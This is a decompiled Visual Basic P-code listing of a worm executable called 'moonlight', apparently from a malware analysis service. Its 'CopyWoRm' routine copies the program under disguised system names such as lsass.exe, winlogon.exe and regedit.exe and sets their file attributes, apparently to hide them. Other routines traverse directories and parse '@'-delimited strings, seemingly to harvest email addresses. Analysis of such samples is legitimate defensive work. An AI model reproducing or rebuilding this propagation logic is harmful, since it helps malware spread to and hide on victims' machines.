Similarity

File moonlight_4ee502b0ead248bae0a05466deb54e9bb532a9c41de1480425eb48eacf508e75.exe

Function:

004101e8
004101e8FrmMain.CopyWoRm:
004101e8LargeBos 2
004101eaLargeBos 5
004101ecOnErrorGoto 65535
004101efLargeBos 55
004101f1ImpAdLdRf pool#12
004101f4LitVarStr var_B4, "\\cypreg.dll"
004101f9ConcatVar var_C4
004101fdCStrVarTmp
004101fePopTmpLdAdStr 65332
00410202ImpAdLdRf pool#12
00410205LitVarStr var_94, "\\regedit.exe"
0041020aConcatVar var_A4
0041020eCStrVarTmp
0041020fPopTmpLdAdStr 65336
00410213ImpAdCallFPR4 pool#63, 8
00410218FFreeStr var_C8, var_CC
0041021fFFreeVar var_A4, var_C4
00410226LargeBos 33
00410228ImpAdLdRf pool#56
0041022bLitVarStr var_94, "\\winlogon.exe"
00410230ConcatVar var_A4
00410234CStrVarTmp
00410235PopTmpLdAdStr 65336
00410239ImpAdLdRf pool#59
0041023cImpAdCallFPR4 pool#63, 8
00410241FFree1Str var_C8
00410244FFree1Var var_A4
00410247LargeBos 33
00410249ImpAdLdRf pool#56
0041024cLitVarStr var_94, "\\system.exe"
00410251ConcatVar var_A4
00410255CStrVarTmp
00410256PopTmpLdAdStr 65336
0041025aImpAdLdRf pool#59
0041025dImpAdCallFPR4 pool#63, 8
00410262FFree1Str var_C8
00410265FFree1Var var_A4
00410268LargeBos 33
0041026aImpAdLdRf pool#12
0041026dLitVarStr var_94, "\\lsass.exe"
00410272ConcatVar var_A4
00410276CStrVarTmp
00410277PopTmpLdAdStr 65336
0041027bImpAdLdRf pool#59
0041027eImpAdCallFPR4 pool#63, 8
00410283FFree1Str var_C8
00410286FFree1Var var_A4
00410289LargeBos 53
0041028bImpAdLdRf pool#56
0041028eLitVarStr var_94, "U{lnlm`}'jdm"
00410293FStVarCopyObj var_A4
00410296FLdRfVar var_A4
00410299ImpAdCallI2 pool#40, 4
0041029eCVarStr var_C4
004102a1ConcatVar var_DC
004102a5CStrVarTmp
004102a6PopTmpLdAdStr 65336
004102aaImpAdLdRf pool#59
004102adImpAdCallFPR4 pool#63, 8
004102b2FFree1Str var_C8
004102b5FFreeVar var_A4, var_C4, var_DC
004102beLargeBos 13
004102c0ImpAdLdRf pool#61
004102c3ImpAdLdRf pool#59
004102c6ImpAdCallFPR4 pool#63, 8
004102cbLargeBos 64
004102cdImpAdLdRf pool#54
004102d0LitVarStr var_94, "\\"
004102d5ConcatVar var_A4
004102d9LitI4 4
004102deImpAdLdRf pool#53
004102e1Ary1LdI4
004102e2CVarStr var_B4
004102e5ConcatVar var_C4
004102e9LitVarStr var_EC, ".cmd"
004102eeConcatVar var_DC
004102f2CStrVarTmp
004102f3PopTmpLdAdStr 65336
004102f7ImpAdLdRf pool#59
004102faImpAdCallFPR4 pool#63, 8
004102ffFFree1Str var_C8
00410302FFreeVar var_A4, var_C4, var_DC
0041030bLargeBos 64
0041030dImpAdLdRf pool#12
00410310LitVarStr var_94, "\\"
00410315ConcatVar var_A4
00410319LitI4 5
0041031eImpAdLdRf pool#53
00410321Ary1LdI4
00410322CVarStr var_B4
00410325ConcatVar var_C4
00410329LitVarStr var_EC, ".exe"
0041032eConcatVar var_DC
00410332CStrVarTmp
00410333PopTmpLdAdStr 65336
00410337ImpAdLdRf pool#59
0041033aImpAdCallFPR4 pool#63, 8
0041033fFFree1Str var_C8
00410342FFreeVar var_A4, var_C4, var_DC
0041034bLargeBos 64
0041034dImpAdLdRf pool#12
00410350LitVarStr var_94, "\\"
00410355ConcatVar var_A4
00410359LitI4 6
0041035eImpAdLdRf pool#53
00410361Ary1LdI4
00410362CVarStr var_B4
00410365ConcatVar var_C4
00410369LitVarStr var_EC, ".exe"
0041036eConcatVar var_DC
00410372CStrVarTmp
00410373PopTmpLdAdStr 65336
00410377ImpAdLdRf pool#59
0041037aImpAdCallFPR4 pool#63, 8
0041037fFFree1Str var_C8
00410382FFreeVar var_A4, var_C4, var_DC
0041038bLargeBos 64
0041038dImpAdLdRf pool#56
00410390LitVarStr var_94, "\\"
00410395ConcatVar var_A4
00410399LitI4 7
0041039eImpAdLdRf pool#53
004103a1Ary1LdI4
004103a2CVarStr var_B4
004103a5ConcatVar var_C4
004103a9LitVarStr var_EC, ".com"
004103aeConcatVar var_DC
004103b2CStrVarTmp
004103b3PopTmpLdAdStr 65336
004103b7ImpAdLdRf pool#59
004103baImpAdCallFPR4 pool#63, 8
004103bfFFree1Str var_C8
004103c2FFreeVar var_A4, var_C4, var_DC
004103cbLargeBos 65
004103cdImpAdLdI4 pool#14
004103d0LitStr "\\"
004103d3ConcatStr
004103d4FStStrNoPop var_C8
004103d7LitI4 4
004103dcImpAdLdRf pool#53
004103dfAry1LdI4
004103e0ConcatStr
004103e1FStStrNoPop var_CC
004103e4LitI4 6
004103e9ImpAdLdRf pool#53
004103ecAry1LdI4
004103edConcatStr
004103eeFStStrNoPop var_F0
004103f1LitStr ".exe"
004103f4ConcatStr
004103f5PopTmpLdAdStr 65292
004103f9ImpAdLdRf pool#59
004103fcImpAdCallFPR4 pool#63, 8
00410401FFreeStr var_C8, var_CC, var_F0, var_F4
0041040cLargeBos 64
0041040eImpAdLdRf pool#56
00410411LitVarStr var_94, "\\"
00410416ConcatVar var_A4
0041041aLitI4 2
0041041fImpAdLdRf pool#53
00410422Ary1LdI4
00410423CVarStr var_B4
00410426ConcatVar var_C4
0041042aLitVarStr var_EC, ".exe"
0041042fConcatVar var_DC
00410433CStrVarTmp
00410434PopTmpLdAdStr 65336
00410438ImpAdLdRf pool#59
0041043bImpAdCallFPR4 pool#63, 8
00410440FFree1Str var_C8
00410443FFreeVar var_A4, var_C4, var_DC
0041044cLargeBos 50
0041044eImpAdLdI4 pool#14
00410451LitStr "\\"
00410454ConcatStr
00410455FStStrNoPop var_C8
00410458LitI4 8
0041045dImpAdLdRf pool#53
00410460Ary1LdI4
00410461ConcatStr
00410462FStStrNoPop var_CC
00410465LitStr ".exe"
00410468ConcatStr
00410469PopTmpLdAdStr 65296
0041046dImpAdLdRf pool#59
00410470ImpAdCallFPR4 pool#63, 8
00410475FFreeStr var_C8, var_CC, var_F0
0041047eLargeBos 51
00410480LitI4 6
00410485ImpAdLdI4 pool#14
00410488LitStr "\\"
0041048bConcatStr
0041048cFStStrNoPop var_C8
0041048fLitI4 8
00410494ImpAdLdRf pool#53
00410497Ary1LdI4
00410498ConcatStr
00410499FStStrNoPop var_CC
0041049cLitStr ".exe"
0041049fConcatStr
004104a0FStStrNoPop var_F0
004104a3ImpAdCallFPR4 rtcSetFileAttr, 8
004104a8FFreeStr var_C8, var_CC, var_F0
004104b1LargeBos 65
004104b3LitI4 6
004104b8ImpAdLdRf pool#12
004104bbLitVarStr var_94, "\\"
004104c0ConcatVar var_A4
004104c4LitI4 6
004104c9ImpAdLdRf pool#53
004104ccAry1LdI4
004104cdCVarStr var_B4
004104d0ConcatVar var_C4
004104d4LitVarStr var_EC, ".exe"
004104d9ConcatVar var_DC
004104ddCStrVarVal 65336
004104e1ImpAdCallFPR4 rtcSetFileAttr, 8
004104e6FFree1Str var_C8
004104e9FFreeVar var_A4, var_C4, var_DC
004104f2LargeBos 65
004104f4LitI4 6
004104f9ImpAdLdRf pool#56
004104fcLitVarStr var_94, "\\"
00410501ConcatVar var_A4
00410505LitI4 7
0041050aImpAdLdRf pool#53
0041050dAry1LdI4
0041050eCVarStr var_B4
00410511ConcatVar var_C4
00410515LitVarStr var_EC, ".com"
0041051aConcatVar var_DC
0041051eCStrVarVal 65336
00410522ImpAdCallFPR4 rtcSetFileAttr, 8
00410527FFree1Str var_C8
0041052aFFreeVar var_A4, var_C4, var_DC
00410533LargeBos 66
00410535LitI4 6
0041053aImpAdLdI4 pool#14
0041053dLitStr "\\"
00410540ConcatStr
00410541FStStrNoPop var_C8
00410544LitI4 4
00410549ImpAdLdRf pool#53
0041054cAry1LdI4
0041054dConcatStr
0041054eFStStrNoPop var_CC
00410551LitI4 6
00410556ImpAdLdRf pool#53
00410559Ary1LdI4
0041055aConcatStr
0041055bFStStrNoPop var_F0
0041055eLitStr ".exe"
00410561ConcatStr
00410562FStStrNoPop var_F4
00410565ImpAdCallFPR4 rtcSetFileAttr, 8
0041056aFFreeStr var_C8, var_CC, var_F0, var_F4
00410575LargeBos 65
00410577LitI4 6
0041057cImpAdLdRf pool#12
0041057fLitVarStr var_94, "\\"
00410584ConcatVar var_A4
00410588LitI4 5
0041058dImpAdLdRf pool#53
00410590Ary1LdI4
00410591CVarStr var_B4
00410594ConcatVar var_C4
00410598LitVarStr var_EC, ".exe"
0041059dConcatVar var_DC
004105a1CStrVarVal 65336
004105a5ImpAdCallFPR4 rtcSetFileAttr, 8
004105aaFFree1Str var_C8
004105adFFreeVar var_A4, var_C4, var_DC
004105b6LargeBos 34
004105b8LitI4 6
004105bdImpAdLdRf pool#12
004105c0LitVarStr var_94, "\\lsass.exe"
004105c5ConcatVar var_A4
004105c9CStrVarVal 65336
004105cdImpAdCallFPR4 rtcSetFileAttr, 8
004105d2FFree1Str var_C8
004105d5FFree1Var var_A4
004105d8LargeBos 0
004105daExitProcHresult
004101e8

004105db
004105db struct PCodePad
004105db 00 .
004105dc
004105dc struct ProcDscInfo
004105dc lpObjectInfo uint32 0x405168
004105e0 wArgSize int 4
004105e2 wFrameSize int 112
004105e4 wPCodeBackOffset uint16 0x4101e8
004105e6 wTotalSize uint16 0x0024
004105e8 wProcOptFlags uint16 0x0000
004105ea wReserved uint16 0x0000
004105ec wBosSkipTableOff uint16 0x0000
004105ee wBaseIfaceSlot uint16 0x0013
004105f0 wReserved2 uint16 0x0000
004105f2 wReserved3 uint16 0x0000
004105f4
004105f4 0c 00 00 00 00 00 00 00 00 00 00 00 ............
00410600 28 00 00 00 00 00 07 00 00 00 00 00 38 ff 01 00 (...........8...
00410610 34 ff 01 00 10 ff 01 00 0c ff 01 00 5c ff 02 00 4...........\...
00410620 3c ff 02 00 24 ff 02 00 <...$...

00410628
00410628fn_410628:
00410628ILdRf arg_C
0041062bCVarRef 64784, 16392
00410630ImpAdCallI2 pool#13, 4
00410635FStStr var_2DC
00410638ILdI4 arg_20
0041063bFStStrCopy var_2F4
0041063eILdI2 arg_1C
00410641FStI2 -760
00410644ILdI2 arg_14
00410647FStI2 -758
0041064aILdI2 arg_18
0041064dFStI2 -762
00410650ILdRf var_2DC
00410653ILdRf var_2F4
00410656ConcatStr
00410657FStStr var_2E0
0041065aFLdRfVar var_2D4
0041065dFLdRfVar var_440
00410660CRec2Ansi 14
00410663FLdRfVar var_440
00410666ILdRf var_2E0
00410669FLdRfVar var_300
0041066cCStr2Ansi
0041066dILdRf var_300
00410670ImpAdCallI2 fn_40685c, 8
00410675FStR4 64444
00410678SetLastSystemError
00410679FLdRfVar var_440
0041067cFLdRfVar var_2D4
0041067fCRec2Uni 14
00410682ILdRf var_300
00410685FLdRfVar var_2E0
00410688CStr2Uni
0041068aILdRf var_444
0041068dFStR4 64808
00410690FFree1Str var_300
00410693ILdRf var_2D8
00410696LitI4 0
0041069bGtI4
0041069cILdRf var_2D4
0041069fLitI4 16
004106a4AndI4
004106a5LitI4 16
004106aaNeI4
004106abAndI4
004106acBranchF 0x4106e6
004106afFLdRfVar var_2A8
004106b2LdFixedStr 260
004106b5PopTmpLdAdStr 64768
004106b9ImpAdCallI2 pool#16, 4
004106beFStStr var_448
004106c1ILdRf var_300
004106c4FLdRfVar var_2A8
004106c7StFixedStr 260
004106caFLdRfVar var_2F8
004106cdILdRf var_2DC
004106d0ILdRf var_448
004106d3ConcatStr
004106d4PopTmpLdAdStr 64436
004106d8ImpAdCallFPR4 pool#17, 8
004106ddFFreeStr var_300, var_448, var_44C
004106e6
004106e6loc_4106e6:
004106e6ILdRf var_2D8
004106e9LitI4 0
004106eeGtI4
004106efBranchF 0x410767
004106f2
004106f2loc_4106f2:
004106f2FLdRfVar var_2D4
004106f5FLdRfVar var_58C
004106f8CRec2Ansi 14
004106fbFLdRfVar var_58C
004106feILdRf var_2D8
00410701ImpAdCallI2 fn_4068a4, 8
00410706FStR4 64444
00410709SetLastSystemError
0041070aFLdRfVar var_58C
0041070dFLdRfVar var_2D4
00410710CRec2Uni 14
00410713ILdRf var_444
00410716CBoolI4
00410718BranchF 0x410767
0041071bILdRf var_2D4
0041071eLitI4 16
00410723AndI4
00410724LitI4 16
00410729NeI4
0041072aBranchF 0x410764
0041072dFLdRfVar var_2A8
00410730LdFixedStr 260
00410733PopTmpLdAdStr 64768
00410737ImpAdCallI2 pool#16, 4
0041073cFStStr var_448
0041073fILdRf var_300
00410742FLdRfVar var_2A8
00410745StFixedStr 260
00410748FLdRfVar var_2F8
0041074bILdRf var_2DC
0041074eILdRf var_448
00410751ConcatStr
00410752PopTmpLdAdStr 64436
00410756ImpAdCallFPR4 pool#17, 8
0041075bFFreeStr var_300, var_448, var_44C
00410764
00410764loc_410764:
00410764Branch 0x4106f2
00410767
00410767loc_410767:
00410767ILdI2 arg_10
0041076aBranchF 0x4109f3
0041076dFLdRfVar var_2D4
00410770FLdRfVar var_6CC
00410773CRec2Ansi 14
00410776FLdRfVar var_6CC
00410779ILdRf var_2DC
0041077cLitStr "*.*"
0041077fConcatStr
00410780FStStrNoPop var_300
00410783FLdRfVar var_448
00410786CStr2Ansi
00410787ILdRf var_448
0041078aImpAdCallI2 fn_40685c, 8
0041078fFStR4 64444
00410792SetLastSystemError
00410793FLdRfVar var_6CC
00410796FLdRfVar var_2D4
00410799CRec2Uni 14
0041079cILdRf var_444
0041079fFStR4 64808
004107a2FFreeStr var_300, var_448
004107a9ILdRf var_2D8
004107acLitI4 0
004107b1GtI4
004107b2ILdRf var_2D4
004107b5LitI4 16
004107baAndI4
004107bbLitI4 16
004107c0EqI4
004107c1AndI4
004107c2FLdRfVar var_2A8
004107c5LdFixedStr 260
004107c8PopTmpLdAdStr 64768
004107ccImpAdCallI2 pool#16, 4
004107d1FStStr var_448
004107d4ILdRf var_300
004107d7FLdRfVar var_2A8
004107daStFixedStr 260
004107ddILdRf var_448
004107e0LitStr "."
004107e3NeStr
004107e5AndI4
004107e6FLdRfVar var_2A8
004107e9LdFixedStr 260
004107ecPopTmpLdAdStr 64436
004107f0ImpAdCallI2 pool#16, 4
004107f5FStStr var_6D0
004107f8ILdRf var_44C
004107fbFLdRfVar var_2A8
004107feStFixedStr 260
00410801ILdRf var_6D0
00410804LitStr ".."
00410807NeStr
00410809AndI4
0041080aFFreeStr var_300, var_448, var_44C, var_6D0
00410815BranchF 0x4108bd
00410818FLdRfVar var_2A8
0041081bLdFixedStr 260
0041081ePopTmpLdAdStr 64768
00410822ImpAdCallI2 pool#16, 4
00410827FStStr var_448
0041082aILdRf var_300
0041082dFLdRfVar var_2A8
00410830StFixedStr 260
00410833FLdRfVar var_2A8
00410836LdFixedStr 260
00410839PopTmpLdAdStr 64436
0041083dImpAdCallI2 pool#16, 4
00410842FStStr var_6D0
00410845ILdRf var_44C
00410848FLdRfVar var_2A8
0041084bStFixedStr 260
0041084eFLdZeroAd var_6D0
00410851PopTmpLdAdStr 63784
00410855FLdRfVar var_2FA
00410858FLdRfVar var_2F6
0041085bILdRf var_2DC
0041085eILdRf var_448
00410861ConcatStr
00410862PopTmpLdAdStr 63788
00410866ImpAdCallFPR4 pool#21, 16
0041086bFFreeStr var_300, var_448, var_44C, var_6D4, var_6D8
00410878FLdRfVar var_2A8
0041087bLdFixedStr 260
0041087ePopTmpLdAdStr 64768
00410882ImpAdCallI2 pool#16, 4
00410887FStStr var_448
0041088aILdRf var_300
0041088dFLdRfVar var_2A8
00410890StFixedStr 260
00410893FLdRfVar var_2F4
00410896FLdRfVar var_2F8
00410899FLdRfVar var_2FA
0041089cFLdRfVar var_2F6
0041089fLitI2_Byte -1
004108a1PopTmpLdAd2 63782
004108a4ILdRf var_2DC
004108a7ILdRf var_448
004108aaConcatStr
004108abPopTmpLdAdStr 64436
004108afImpAdCallFPR4 pool#12, 24
004108b4FFreeStr var_300, var_448, var_44C
004108bd
004108bdloc_4108bd:
004108bdFLdRfVar var_2D4
004108c0FLdRfVar var_81C
004108c3CRec2Ansi 14
004108c6FLdRfVar var_81C
004108c9ILdRf var_2D8
004108ccImpAdCallI2 fn_4068a4, 8
004108d1FStR4 64444
004108d4SetLastSystemError
004108d5FLdRfVar var_81C
004108d8FLdRfVar var_2D4
004108dbCRec2Uni 14
004108deILdRf var_444
004108e1CBoolI4
004108e3BranchF 0x4109f3
004108e6ILdRf var_2D4
004108e9LitI4 16
004108eeAndI4
004108efLitI4 16
004108f4EqI4
004108f5FLdRfVar var_2A8
004108f8LdFixedStr 260
004108fbPopTmpLdAdStr 64768
004108ffImpAdCallI2 pool#16, 4
00410904FStStr var_448
00410907ILdRf var_300
0041090aFLdRfVar var_2A8
0041090dStFixedStr 260
00410910ILdRf var_448
00410913LitStr "."
00410916NeStr
00410918AndI4
00410919FLdRfVar var_2A8
0041091cLdFixedStr 260
0041091fPopTmpLdAdStr 64436
00410923ImpAdCallI2 pool#16, 4
00410928FStStr var_6D0
0041092bILdRf var_44C
0041092eFLdRfVar var_2A8
00410931StFixedStr 260
00410934ILdRf var_6D0
00410937LitStr ".."
0041093aNeStr
0041093cAndI4
0041093dFFreeStr var_300, var_448, var_44C, var_6D0
00410948BranchF 0x4109f0
0041094bFLdRfVar var_2A8
0041094eLdFixedStr 260
00410951PopTmpLdAdStr 64768
00410955ImpAdCallI2 pool#16, 4
0041095aFStStr var_448
0041095dILdRf var_300
00410960FLdRfVar var_2A8
00410963StFixedStr 260
00410966FLdRfVar var_2A8
00410969LdFixedStr 260
0041096cPopTmpLdAdStr 64436
00410970ImpAdCallI2 pool#16, 4
00410975FStStr var_6D0
00410978ILdRf var_44C
0041097bFLdRfVar var_2A8
0041097eStFixedStr 260
00410981FLdZeroAd var_6D0
00410984PopTmpLdAdStr 63784
00410988FLdRfVar var_2FA
0041098bFLdRfVar var_2F6
0041098eILdRf var_2DC
00410991ILdRf var_448
00410994ConcatStr
00410995PopTmpLdAdStr 63788
00410999ImpAdCallFPR4 pool#21, 16
0041099eFFreeStr var_300, var_448, var_44C, var_6D4, var_6D8
004109abFLdRfVar var_2A8
004109aeLdFixedStr 260
004109b1PopTmpLdAdStr 64768
004109b5ImpAdCallI2 pool#16, 4
004109baFStStr var_448
004109bdILdRf var_300
004109c0FLdRfVar var_2A8
004109c3StFixedStr 260
004109c6FLdRfVar var_2F4
004109c9FLdRfVar var_2F8
004109ccFLdRfVar var_2FA
004109cfFLdRfVar var_2F6
004109d2LitI2_Byte -1
004109d4PopTmpLdAd2 63782
004109d7ILdRf var_2DC
004109daILdRf var_448
004109ddConcatStr
004109dePopTmpLdAdStr 64436
004109e2ImpAdCallFPR4 pool#12, 24
004109e7FFreeStr var_300, var_448, var_44C
004109f0
004109f0loc_4109f0:
004109f0Branch 0x4108bd
004109f3
004109f3loc_4109f3:
004109f3ILdRf var_2D8
004109f6ImpAdCallFPR4 fn_4068e8, 4
004109fbSetLastSystemError
004109fcLitNothing
004109feFStVarAd 63444
00410a02ExitProc
00410628

00410a03
00410a03 struct PCodePad
00410a03 0f .
00410a04
00410a04 struct ProcDscInfo
00410a04 lpObjectInfo uint32 0x4041b8
00410a08 wArgSize int 28
00410a0a wFrameSize int 1960
00410a0c wPCodeBackOffset uint16 0x410628
00410a0e wTotalSize uint16 0x00d0
00410a10 wProcOptFlags uint16 0x0000
00410a12 wReserved uint16 0x0000
00410a14 wBosSkipTableOff uint16 0x0000
00410a16 wBaseIfaceSlot uint16 0x0000
00410a18 wReserved2 uint16 0x0000
00410a1a wReserved3 uint16 0x0000
00410a1c
00410a1c b8 00 00 00 ....
00410a20 00 00 09 00 00 00 00 10 c0 fb 49 30 a4 ee ff ff ..........I0....
00410a30 08 68 40 00 94 ee ac 0f 8c ee ac 0f 84 ee ac 0f .h@.............
00410a40 7c ee ac 0f 74 fa 49 30 6c ee ff ff 08 68 40 00 |...t.I0l....h@.
00410a50 5c ee ac 0f 7c 85 ac 0f 50 ee ac 0f 74 85 ac 0f \...|...P...t...
00410a60 34 f9 49 30 40 ee ff ff 08 68 40 00 38 ee ac 0f 4.I0@....h@.8...
00410a70 30 ee ac 0f 28 ee ac 0f 20 ee ac 0f e4 f7 49 30 0...(... .....I0
00410a80 10 ee ff ff 08 68 40 00 00 ee ac 0f f8 ed ac 0f .....h@.........
00410a90 f0 ed ac 0f e8 ed ac 0f 20 fd 01 20 d8 ed ff ff ........ .. ....
00410aa0 24 fd 01 20 d0 ed ff ff 0c fd 01 20 c2 ed ff ff $.. ....... ....
00410ab0 d4 f7 02 20 64 85 ff ff 2c fd 49 20 a8 ed ff ff ... d...,.I ....
00410ac0 08 68 40 00 5c 85 ac 0f 9c ed ac 0f 94 ed ac 0f .h@.\...........
00410ad0 8c ed ac 0f 24 00 00 00 00 00 06 00 00 00 00 00 ....$...........
00410ae0 00 fd 01 00 b8 fb 01 00 b4 fb 01 00 30 f9 01 00 ............0...
00410af0 2c f9 01 00 28 f9 01 00 ,...(...

00410af8
00410af8fn_410af8:
00410af8LargeBos 2
00410afaLargeBos 5
00410afcOnErrorGoto 65535
00410affLargeBos 24
00410b01ILdDarg 12
00410b05FMemLdPr arg_8, 16
00410b0aLateMemCallLdVar 65228, 25, 1
00410b12FLdRfVar var_94
00410b15SetVarVarFunc
00410b17LargeBos 30
00410b19LitVarI2 65212, 1
00410b1ePopAdLdVar
00410b1fLitVarI2 65180, 0
00410b24PopAdLdVar
00410b25FLdRfVar var_94
00410b28VarLateMemCallLdVar 65228, 26, 2
00410b30FLdRfVar var_A4
00410b33SetVarVarFunc
00410b35LargeBos 15
00410b37FLdRfVar var_A4
00410b3aVarLateMemLdVar 65228, 27
00410b40FStVar 65356
00410b44LargeBos 9
00410b46FLdRfVar var_B4
00410b49FStVarCopy 65244
00410b4dLargeBos 20
00410b4fLitVar_Missing var_134
00410b52ImpAdCallI2 rtcFreeFile, 4
00410b57CVarI2 65196
00410b5aFStVar 65148
00410b5eFFree1Var var_134
00410b61LargeBos 9
00410b63FLdRfVar var_B4
00410b66FStVarCopy 65244
00410b6aLargeBos 38
00410b6cLitI4 1
00410b71FLdRfVar var_B4
00410b74LitVarStr var_144, "@"
00410b79LitI4 1
00410b7eFnInStr4Var 65228
00410b82LitVarI2 65196, 0
00410b87HardType
00410b88EqVarBool
00410b8aFFree1Var var_134
00410b8dBranchF 0x410ba3
00410b90LargeBos 13
00410b92FLdRfVar var_A4
00410b95LdPrVar
00410b97LateMemCall 30, 0
00410b9dLargeBos 3
00410b9fExitProc
00410ba0Branch 0x410bb2
00410ba3
00410ba3loc_410ba3:
00410ba3LargeBos 2
00410ba5LargeBos 13
00410ba7FLdRfVar var_A4
00410baaLdPrVar
00410bacLateMemCall 30, 0
00410bb2
00410bb2loc_410bb2:
00410bb2LargeBos 2
00410bb4LargeBos 24
00410bb6ILdDarg 12
00410bbaFMemLdPr arg_8, 16
00410bbfLateMemCallLdVar 65228, 25, 1
00410bc7FLdRfVar var_94
00410bcaSetVarVarFunc
00410bccLargeBos 30
00410bceLitVarI2 65212, 1
00410bd3PopAdLdVar
00410bd4LitVarI2 65180, 0
00410bd9PopAdLdVar
00410bdaFLdRfVar var_94
00410bddVarLateMemCallLdVar 65228, 26, 2
00410be5FLdRfVar var_A4
00410be8SetVarVarFunc
00410beaLargeBos 11
00410becLitVarI2 65212, 1
00410bf1FStVar 65340
00410bf5LargeBos 11
00410bf7LitVarI2 65212, 0
00410bfcFStVar 65116
00410c00LargeBos 2
00410c02
00410c02loc_410c02:
00410c02LargeBos 7
00410c04ImpAdCallFPR4 rtcDoEvents, 0
00410c09LargeBos 7
00410c0bImpAdCallFPR4 rtcDoEvents, 0
00410c10LargeBos 15
00410c12FLdRfVar var_A4
00410c15VarLateMemLdVar 65228, 32
00410c1bFStVar 65356
00410c1fLargeBos 13
00410c21FLdRfVar var_B4
00410c24FLdRfVar var_114
00410c27EqVarBool
00410c29BranchF 0x410ca1
00410c2cLargeBos 52
00410c2eLitI4 1
00410c33FLdRfVar var_124
00410c36FLdRfVar var_134
00410c39ImpAdCallFPR4 rtcRightCharVar, 12
00410c3eFLdRfVar var_134
00410c41LitI4 1
00410c46FLdRfVar var_114
00410c49FLdRfVar var_194
00410c4cImpAdCallFPR4 rtcRightCharVar, 12
00410c51FLdRfVar var_194
00410c54EqVarBool
00410c56FFreeVar var_134, var_194
00410c5dBranchF 0x410c68
00410c60LargeBos 5
00410c62Branch 0x410f46
00410c65Branch 0x410c9f
00410c68
00410c68loc_410c68:
00410c68LargeBos 16
00410c6aFLdRfVar var_1A4
00410c6dLitVarI2 65212, 10
00410c72HardType
00410c73EqVarBool
00410c75BranchF 0x410c8b
00410c78LargeBos 11
00410c7aLitVarI2 65212, 0
00410c7fFStVar 65116
00410c83LargeBos 5
00410c85Branch 0x410f46
00410c88Branch 0x410c9f
00410c8b
00410c8bloc_410c8b:
00410c8bLargeBos 2
00410c8dLargeBos 18
00410c8fFLdRfVar var_1A4
00410c92LitVarI2 65212, 1
00410c97AddVar 65228
00410c9bFStVar 65116
00410c9f
00410c9floc_410c9f:
00410c9fLargeBos 2
00410ca1
00410ca1loc_410ca1:
00410ca1LargeBos 2
00410ca3LargeBos 9
00410ca5FLdRfVar var_B4
00410ca8FStVarCopy 65260
00410cacLargeBos 40
00410caeFLdRfVar var_C4
00410cb1LitVarI2 65212, 1
00410cb6AddVar 65228
00410cbaCI4Var
00410cbcFLdRfVar var_B4
00410cbfLitVarStr var_154, "@"
00410cc4LitI4 1
00410cc9FnInStr4Var 65132
00410ccdFStVar 65340
00410cd1FFree1Var var_134
00410cd4LargeBos 16
00410cd6FLdRfVar var_C4
00410cd9LitVarI2 65212, 0
00410cdeHardType
00410cdfNeVarBool
00410ce1BranchF 0x410f38
00410ce4LargeBos 9
00410ce6FLdRfVar var_C4
00410ce9FStVarCopy 65324
00410cedLargeBos 2
00410cef
00410cefloc_410cef:
00410cefLargeBos 7
00410cf1ImpAdCallFPR4 rtcDoEvents, 0
00410cf6LargeBos 7
00410cf8ImpAdCallFPR4 rtcDoEvents, 0
00410cfdLargeBos 18
00410cffFLdRfVar var_D4
00410d02LitVarI2 65212, 1
00410d07SubVar 65228
00410d0bFStVar 65324
00410d0fLargeBos 33
00410d11LitVarI2 65228, 1
00410d16FLdRfVar var_D4
00410d19CI4Var
00410d1bFLdRfVar var_B4
00410d1eFLdRfVar var_194
00410d21ImpAdCallFPR4 rtcMidCharVar, 16
00410d26FLdRfVar var_194
00410d29FStVar 65292
00410d2dFFree1Var var_134
00410d30LargeBos 55
00410d32FLdRfVar var_F4
00410d35LitVarStr var_144, " "
00410d3aHardType
00410d3bEqVar 65228
00410d3fFLdRfVar var_D4
00410d42LitVarI2 65196, 1
00410d47HardType
00410d48EqVar 65132
00410d4cOrVar 65100
00410d50FLdRfVar var_F4
00410d53LitVarStr var_164, ""
00410d58HardType
00410d59EqVar 65084
00410d5dOrVar 65068
00410d61CBoolVarNull
00410d63NotI4
00410d64BranchT 0x410cef
00410d67LargeBos 37
00410d69FLdRfVar var_F4
00410d6cLitVarStr var_144, ""
00410d71HardType
00410d72NeVar 65228
00410d76FLdRfVar var_F4
00410d79LitVarStr var_154, " "
00410d7eHardType
00410d7fEqVar 65132
00410d83OrVar 65100
00410d87CBoolVarNull
00410d89BranchF 0x410da0
00410d8cLargeBos 9
00410d8eFLdRfVar var_C4
00410d91FStVarCopy 65308
00410d95LargeBos 11
00410d97LitVarStr var_144, ""
00410d9cFStVarCopy 65292
00410da0
00410da0loc_410da0:
00410da0LargeBos 2
00410da2LargeBos 2
00410da4
00410da4loc_410da4:
00410da4LargeBos 7
00410da6ImpAdCallFPR4 rtcDoEvents, 0
00410dabLargeBos 7
00410dadImpAdCallFPR4 rtcDoEvents, 0
00410db2LargeBos 18
00410db4FLdRfVar var_E4
00410db7LitVarI2 65212, 1
00410dbcAddVar 65228
00410dc0FStVar 65308
00410dc4LargeBos 33
00410dc6LitVarI2 65228, 1
00410dcbFLdRfVar var_E4
00410dceCI4Var
00410dd0FLdRfVar var_B4
00410dd3FLdRfVar var_194
00410dd6ImpAdCallFPR4 rtcMidCharVar, 16
00410ddbFLdRfVar var_194
00410ddeFStVar 65292
00410de2FFree1Var var_134
00410de5LargeBos 38
00410de7FLdRfVar var_F4
00410deaLitVarStr var_144, " "
00410defHardType
00410df0EqVar 65228
00410df4FLdRfVar var_F4
00410df7LitVarStr var_154, ""
00410dfcHardType
00410dfdEqVar 65132
00410e01OrVar 65100
00410e05CBoolVarNull
00410e07NotI4
00410e08BranchT 0x410da4
00410e0bLargeBos 60
00410e0dFLdRfVar var_E4
00410e10LitVarI2 65196, 1
00410e15SubVar 65132
00410e19FStVar 65100
00410e1dFLdRfVar var_1B4
00410e20FLdRfVar var_D4
00410e23LitVarI2 65212, 1
00410e28AddVar 65228
00410e2cCI4Var
00410e2eFLdRfVar var_B4
00410e31FLdRfVar var_1C4
00410e34ImpAdCallFPR4 rtcMidCharVar, 16
00410e39FLdRfVar var_1C4
00410e3cFStVar 65052
00410e40FFreeVar var_134, var_1B4
00410e47LargeBos 28
00410e49LitI4 1
00410e4eFLdRfVar var_1E4
00410e51LitVarStr var_144, "@"
00410e56LitI4 1
00410e5bFnInStr4Var 65228
00410e5fFStVar 65032
00410e63LargeBos 46
00410e65FLdRfVar var_1E4
00410e68FnLenVar 65228
00410e6cFStVar 65132
00410e70FLdRfVar var_194
00410e73FLdRfVar var_1F8
00410e76CI4Var
00410e78FLdRfVar var_1E4
00410e7bFLdRfVar var_1B4
00410e7eImpAdCallFPR4 rtcMidCharVar, 16
00410e83FLdRfVar var_1B4
